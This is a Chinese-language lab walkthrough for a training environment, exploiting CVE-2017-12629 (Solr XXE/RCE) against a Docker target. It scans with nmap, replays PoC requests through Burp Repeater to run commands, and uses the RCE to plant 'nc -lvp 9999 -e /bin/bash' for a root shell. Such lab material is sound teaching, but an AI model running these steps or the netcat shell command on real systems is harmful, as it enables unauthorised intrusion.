Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
Apache Solr < 7.1
Apache Lucene < 7.1(很多组件都用到这个,比如ES)
综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux
Ubuntu Linux 2
第二步,进入Ubuntu Linux 2靶机控制台,打开终端,根据提示启动虚拟环境:
1)使用“su root”命令,切换至root用户
2)使用“cd /home/yun/cve-2017-12629-apache_solr”命令进入本次实验的根目录,通过ls命令查看文件
3)启动虚拟靶机环境:
docker-compose up –d
4)使用docker ps命令查看正在运行的虚拟靶机环境
5)分别使用以下命令启动环境:
./start.sh
cd /etc/init.d/ && ./start.sh
6)使用“exit”命令离开靶机环境,回到物理服务器
7)打开新的终端窗口,查看IP地址:
ifconfig ens3
第三步,在Kali Linux中扫描靶机服务器:
nmap –sS 172.16.1.200(靶机IP地址)
分析扫描结果:22端口是靶机服务器的SSH服务,9999端口是Docker靶机环境占用的,但是并没有扫描出另一个被Docker靶机环境占用的8983端口。
第四步,Solr服务默认侦听8983端口,使用nc尝试连接靶机的8983端口:
nc 172.16.1.200 8983
nc没有立即返回Connection refused(连接失败),而是一直在等待,说明靶机的8983端口处于开放状态。
第五步,使用浏览器访问地址:
http://172.16.1.200:8983
确保页面可以正常访问。
第六步,设置浏览器代理
第七步,设置Burpsuite代理,关闭拦截功能,直接通过数据包
第八步,刷新页面,在Burpsuite中查看数据包
第九步,访问Apache Solr的主页,创建一个新的核心:
因为这是一个全新的环境,没有核心,所以必须先创建一个才能用来触发漏洞
新的核心已经创建成功
第十步,打开文件管理器,依次打开Home/solr目录
双击打开poc_create.txt
第十一步,切换至Burpsuite,进入Repeater模块:
1)将刚才查看的poc_create.txt文件中的内容复制到Repeater模块,然后修改主机的IP地址为靶机服务器的地址和端口,然后修改执行命令:
Host: 172.16.1.200:8983
touch /tmp/success
2)点击“Go”按钮,填入靶机服务器的IP和端口:
Host:172.16.1.200
Port:8983
3)保存后,再次点击“Go”按钮
4)服务器的返回信息在右侧显示
第十二步,打开文件管理器,进入Home/solr目录,打开poc_update.txt
1)将poc_update.txt文件中的内容复制到Repeater模块,修改主机的IP地址为靶机Solr服务器的IP地址和端口
2)服务端返回结果
成功执行“touch /tmp/success”命令,在“/temp”目录下创建了一个名为“success”的空文件。
第十三步,切换至Ubuntu 16靶机控制台,验证漏洞是否利用成功:
使用docker exec –it $(docker ps -q) /bin/bash命令进入靶机环境,使用ls /tmp命令查看tmp目录下的文件,success文件已被创建
第十四步,切换至Kali Linux渗透机,打开Burpsuite。修改数据包,添加Payload,重新生成并发送数据包:
1)将poc_create.txt内容粘贴,替换args部分,并将Host修改为靶机IP地址:8983。使用nc –lvp 9999 –e /bin/bash命令监听端口并且反弹Shell,点击“Go”发送
2)将poc_update.txt文件中的内容复制到Repeater模块,修改主机的IP地址为靶机Solr服务器的地址和端口
第十五步,启动终端,连接靶机反弹的Shell:
nc 172.16.1.200 9999
pwd
ls
id
1、使用pwd命令查看当前所在的目录;
2、使用ls命令查看当前目录下的文件;
3、使用id命令查看当前的用户,结果显示成功获得了root最高权限。